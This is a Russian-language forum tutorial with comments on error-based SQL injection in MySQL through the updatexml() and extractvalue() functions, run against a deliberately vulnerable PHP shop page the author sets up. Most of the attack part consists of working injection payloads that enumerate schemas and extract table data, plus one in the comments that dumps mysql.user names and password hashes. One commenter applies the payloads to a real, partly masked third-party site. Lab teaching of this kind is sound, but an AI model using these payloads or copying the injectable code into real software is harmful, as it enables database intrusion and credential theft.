Статья SQL-injection, Error Based - XPATH

Всем привет!
Предыдущие статьи по инъекциям:
union-based union-based-bystrye-texniki

Начиная с версии MySQL 5.1, разработчики внедрили функции для работы с XML. Для работы с XML есть две функции:
ExtractValue() - Позволяет выбирать записи средствами XPAth.
UpdateXML() - Возвращает измененный XML-фрагмент.
XPath (XML Path Language) — язык запросов к элементам XML-документа.

Несмотря на то, что в коде учебной веб-страницы мы не будем использовать XML, уязвимость прекрасно будет работать )
Мы просто будем использовать одну из функций XPATH, чтобы генерировать ошибку и получать вывод нужных данных.

Ну что же, запустим mysql, и создадим новую базу:
service mysql start
create database my_db;
use my_db;


Создадим таблицу, и заполним её данными:

CREATE TABLE IF NOT EXISTS products (
ID int(11)UNSIGNED NOT NULL AUTO_INCREMENT,
Name VARCHAR(40) NOT NULL,
Price int(11)UNSIGNED NOT NULL,
PRIMARY KEY (ID)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

INSERT INTO products (Name, Price) VALUES
('Хлеб', 35),
('Йогурт', 27),
('Торт', 500);


Теперь в /var/www/html/ создадим страничку product.php и скопируем туда следующий код:
HTML:
<!doctype html>
<html lang="ru">
<head>
  <title>Магазин</title>
</head>
<body>
  <?php
    $host = 'localhost';  // Хост
    $user = 'root';    // Имя пользователя
    $pass = ''; // Установленный пароль пользователю
    $db_name = 'my_db';   // Имя базы данных
    $link = mysqli_connect($host, $user, $pass, $db_name); // Соединяемся с базой

    // Ругаемся, если соединение установить не удалось
    if (!$link) {
      echo 'Не могу соединиться с БД. Код ошибки: ' . mysqli_connect_errno() . ', ошибка: ' . mysqli_connect_error();
      exit;
    }


  if (isset($_GET['id'])) { //проверяем, есть ли переменная
    //смотрим строку из таблицы
    $sql = mysqli_query($link, "SELECT * FROM products WHERE ID = '{$_GET['id']}'");
    if(!$sql){
echo'Error While Selection process: '.mysqli_error($link).' Error code: '.mysqli_errno($link);
exit;
}
$result=mysqli_fetch_array($sql);
echo $result['Name'];
  }

  ?>
<table border='1'>
  <tr>
    <td>Идентификатор</td>
    <td>Наименование</td>
    <td>Цена руб.</td>
  </tr>
  <?php
    $sql = mysqli_query($link, 'SELECT ID, Name, Price FROM products');
    while ($result = mysqli_fetch_array($sql)) {
      echo '<tr>' .
           "<td>{$result['ID']}</td>" .          
           "<td><a href='?id={$result[ID]}'>Посмотреть</a></td>" .
           "<td></td>" .
           '</tr>';
    }
  ?>
</table>
</table>
</body>
</html>

После этого заходим по адресу localhost/product.php (не забываем запустить апач), и если нигде не ошиблись, увидите это:

1.png


Пощёлкав по ссылкам в таблице, можно увидеть продукт, соответствующий идентификатору в таблице. А вот с ценничками туговато, придётся пошаманить, чтобы их узнать.

2.png


*****************************************
- Алё, шеф! Наши конкуренты скоро запускают сеть продуктовых магазинов. Мне удалось выяснить адрес сайта с товарами. Пока сайт в разработке, и цены на товары скрыты.

gang.jpg


- Найди хакера, и достань прайс. Нам не нужны сюрпризы.

shef.jpg


- У тебя 24 часа, действуй!

shef2.jpg


*****************************************

Ну что хакеры, сначала выясним название базы данных, отправив такой запрос с updatexml:
1' and updatexml(null,concat(CHAR(123),database(),CHAR(125)),null)-- -

3.png



Отлично, в выводе ошибки присутствует название базы my_db. Здесь мы использовали тип данных char, и в данном примере, я использовал скобки {} для выделения выводимых данных. Можно использовать всё что угодно, кому как больше нравится. Посмотреть таблицы символов ascii можно

Также можно использовать HEX
1' and updatexml(null,concat(0x7B,database(),0x7D),null)-- -

Выведем названия таблиц:
1' and updatexml(null,concat(0x7B,(select table_name from information_schema.tables where table_schema='my_db' limit 0,1),0x7D),null)-- -

4.png


Запрос с увеличением значения limit отдал начальную страницу, значит таблица только одна products
1' and updatexml(null,concat(0x7B,(select table_name from information_schema.tables where table_schema='my_db' limit 1,1),0x7D),null)-- -

5.png


Добываем колонки:
1' and updatexml(null,concat(0x7B,(select column_name from information_schema.columns where table_schema='my_db' and table_name='products' limit 0,1),0x7D),null)-- -

6.png


Поочерёдно, увеличивая limit, достаём ещё name и price. Итого у нас 3 колонки. Если хочется заранее узнать количество колонок, нужно использовать count.
1' and updatexml(null,concat(0x3a,(select count(*) from products)),null)-- -

7.png


По одной записи выводить долго, используем group_concat и выведем всё сразу.
1' and updatexml(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='products'),0x5c),1)-- -

8.png


Осталось узнать что почём:
1' and updatexml(1, concat(0x5c, (select group_concat(name,0x3a,price) from products),0x5c),1)-- -

9.png


Оп-па! Нежданчик однако... Всё не выводится, мы видим всего 20 символов. Придётся хитрить, используем подзапрос substr и выставим отображение пускай 100 строк, начиная с 19-й.
1' and updatexml(0,concat(0x0a,(select substr(group_concat(name,0x3a,price),19,100)from products)),0)-- -

10.png


Все данные вытащены.

- Алё шеф! Хакер быстро справился. Нам не о чем беспокоиться, цены средние по городу.

end.jpg


Отлично! Возьмёшь свой гонорар у бухгалтера, два дня выходных бонусом.

Как мы видим функция UpdateXML() даёт довольно простую технику, но к сожалению имеет большое ограничение по количеству выводимых символов. А что же функция ExtractValue()? Техника для неё схожая и ограничение тоже.

Всё тащится таким же образом:
Название базы:
1' or ExtractValue(1,concat(0x5c,database()))-- -
Названия колонок:
1' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema='my_db' limit 0,1)))-- -
Количество колонок:
1' and extractvalue(0x0a,concat(0x0a,(select count(*) from products)))-- -
Колонки одним запросом:
1' and extractvalue(0x0a,concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_schema='my_db' and table_name='products')))-- -
Данные построчно:
1' and extractvalue(0x0a,concat(0x0a,(SELECT concat(id,0x3a,name,0x3a,price,0x0a) FROM my_db.products LIMIT 0,1)))-- -

На этом всё друзья, а потренироваться можно на тех же задачах, ссылки на которые были в предыдущих статьях. Те же задачи уязвимые к union based, также решаются через XPATH.
 

l4stname

Member
19.08.2019
8
0
не получается достать таблицы, подскажите плиз варианты...
Код:
http://www.*********.com/index.php?route=product/product&keyword=&category_id=6&product_id=27 - уязвимый таргет
Достаем текущую БД:
AND extractvalue(rand(),concat(0x3a,database(),0x3a))
Получаем:
apexla5_opencart
Пытаюсь достать таблицы:
AND extractvalue(rand(),concat(0x3a,(select table_name from information_schema.tables where table_schema='apexla5_opencart' limit 0,1),0x3a))
Получаем:
ошибка
Попытка номер 2:
AND extractvalue(rand(),concat(0x3a,(select table_name from information_schema.tables where table_schema=0x617065786C61355F6F70656E63617274 limit 0,1),0x3a))
Получаем:
ошибка
 
Последнее редактирование модератором:

explorer

Platinum
05.08.2018
1 093
2 512
не получается достать таблицы, подскажите плиз варианты...
Код:
http://www.*********.com/index.php?route=product/product&keyword=&category_id=6&product_id=27 - уязвимый таргет
Не нужно светить таргеты, отредактировал. Тренироваться нужно на УЧЕБНЫХ сайтах. Поэтому в данном случае подсказывать не буду.
 

hhh

Green Team
08.02.2018
11
11
А ещё будет что-то по этой теме? Очень хорошо пишете) Спасибо
 

SooLFaa

Platinum
15.07.2016
899
1 576
Лоу левел тема - плюс практический полный копипаст - плюс миллиардная статься по скулям в которой ничего нового, да ещё и далеко не полная. Неужели нравится плодить темы - ради того, чтобы плодить темы?
 

explorer

Platinum
05.08.2018
1 093
2 512
Лоу левел тема - плюс практический полный копипаст - плюс миллиардная статься по скулям в которой ничего нового, да ещё и далеко не полная. Неужели нравится плодить темы - ради того, чтобы плодить темы?
Все профессионалы приглашаются сюда - Конкурс

P.S. Не нужно писать голословные утверждения. Статья моя, никакого копипаста. Специально сейчас проверил на уникальность.

1.png
 
Последнее редактирование:
  • Нравится
Реакции: The Codeby

SooLFaa

Platinum
15.07.2016
899
1 576
Все профессионалы приглашаются сюда - Конкурс

P.S. Не нужно писать голословные утверждения. Статья моя, никакого копипаста. Специально сейчас проверил на уникальность.

Посмотреть вложение 32733
Копипаст не текстовый а смысловой. Писать об этой ерунде в 2019 году - это звиздец.
 

kluster

Green Team
02.01.2019
34
56
Копипаст не текстовый а смысловой. Писать об этой ерунде в 2019 году - это звиздец.
разные авторы проливают свет понимания с разных сторон
каждый по своему
я вот всегда читаю и узнаю что-то новое
например вот когда читал здесь,
не особо понял автора
но даже там есть вещи которых нет в этой статье и наоборот
а здесь еще и с домашкой
контент подан с душой, почему его нужно перестать выпускать?
ценнейшая информация для того, кто собирает все по крупицам
 

MsLacota

Member
06.03.2020
8
0
Супер!
Есть вопрос, даже вопросище!
Как сдампить колонки если при запросе пишет SELECT command denied to user....?
Все имена колонок и таблиц вижу, а в нутрь не пускает, как быть?
 

explorer

Platinum
05.08.2018
1 093
2 512
Супер!
Есть вопрос, даже вопросище!
Как сдампить колонки если при запросе пишет SELECT command denied to user....?
Все имена колонок и таблиц вижу, а в нутрь не пускает, как быть?

Такое встречается, у пользователя ограниченные права. Дальнейшее извлечение данных невозможно для текущего пользователя. Соответственно содержимое может прочитать только пользователь имеющий все права.
 
  • Нравится
Реакции: MsLacota

MsLacota

Member
06.03.2020
8
0
Такое встречается, у пользователя ограниченные права. Дальнейшее извлечение данных невозможно для текущего пользователя. Соответственно содержимое может прочитать только пользователь имеющий все права.
Как найти этого пользователя?
Используя эту же sql могу это сделать?
Иесли найти этого пользователя, то как его использовать?
Указывать его имя перед названием дб?
 

explorer

Platinum
05.08.2018
1 093
2 512
Как найти этого пользователя?
Используя эту же sql могу это сделать?
Иесли найти этого пользователя, то как его использовать?
Указывать его имя перед названием дб?
Пользователей вместе с хэшем паролей можно вывести командой на примере этой задачи:
' and updatexml(1, concat(0x5c, (select group_concat(user,0x3a,password) from mysql.user),0x5c),1)-- -

444.png


Соответственно недостающую часть хэша выводить через substr как написано в статье. Чаще всего пользователь со всеми правами будет root (не обязательно он). Чтобы работать от root нужно иметь доступ к mysql. В 90+% случаев это возможно только с localhost, в других случаях, удалённо через phpmyadmin, то есть просто из браузера ничего не получится.
 
  • Нравится
Реакции: MsLacota

Komokze

One Level
05.03.2020
7
8
Прохожу курс, и столкнулся с несколькими проблемами. Оставлю решение для вновь прибывших.
Чтобы страничка отображалась корректно:
1. Необходимо создать пользователя как в первом уроке и поправить креды в product.php в соответствии с созданными аутентификационными данными.
2. Установить параметр display_errors = on в /etc/php/8.1/apache2/php.ini.
3. В исходнике product.php найти строчку в конце документа и поправить:
"<td><a href='?id={$result[ID]}'>Посмотреть</a></td>"
на
"<td><a href='?id={$result['ID']}'>Посмотреть</a></td>"

upd.
Честно. Пытаюсь разобраться с логикой построения запросов - ничего не понимаю. Пробую разные варианты, но:
Где-то 1' or ExtractValue
Где-то 1' and ExtractValue
Где и по какому принципу расставлять null, и почему они вообще там нужны - сколько не пытался понять, так и не смог.
В остальном - спасибо!) Серия отличных статей, все очень круто, испытал восторг, но данный урок к сожалению дает околонулевую практическую пользу.
 
Последнее редактирование:

explorer

Platinum
05.08.2018
1 093
2 512
Прохожу курс, и столкнулся с несколькими проблемами. Оставлю решение для вновь прибывших.
Чтобы страничка отображалась корректно:
1. Необходимо создать пользователя как в первом уроке и поправить креды в product.php в соответствии с созданными аутентификационными данными.
2. Установить параметр display_errors = on в /etc/php/8.1/apache2/php.ini.
3. В исходнике product.php найти строчку в конце документа и поправить:
"<td><a href='?id={$result[ID]}'>Посмотреть</a></td>"
на
"<td><a href='?id={$result['ID']}'>Посмотреть</a></td>"

upd.
Честно. Пытаюсь разобраться с логикой построения запросов - ничего не понимаю. Пробую разные варианты, но:
Где-то 1' or ExtractValue
Где-то 1' and ExtractValue
Где и по какому принципу расставлять null, и почему они вообще там нужны - сколько не пытался понять, так и не смог.
В остальном - спасибо!) Серия отличных статей, все очень круто, испытал восторг, но данный урок к сожалению дает околонулевую практическую пользу.

Спасибо за комментарий, статье уже 3 года, всё течёт, всё меняется - PHP7 сменился на 8 версию, но пока реальных приложений на 7 версии значительно больше чем на 8. СУБД тоже уже обновилась и часть команд устарели... Нужно всю серию статей актуализировать, в августе сделаем.
Вместо null можно писать 1, совершенно ничего не изменится. Это не соответствует синтаксису XPath, так мы вызвали ошибку, в которой мы видим результат выполнения нашей нагрузки. Здесь показана только сама техника, как возникает ошибка рассмотрено в платном курсе. В нагрузке применяются операторы and - "И", or - "ИЛИ", во многих случаях работать будет нагрузка с любым из них. Но взависимости от написания исходного кода, или присутствия фильтра, сработать может только один из них.
 
  • Нравится
Реакции: Komokze
Мы в соцсетях: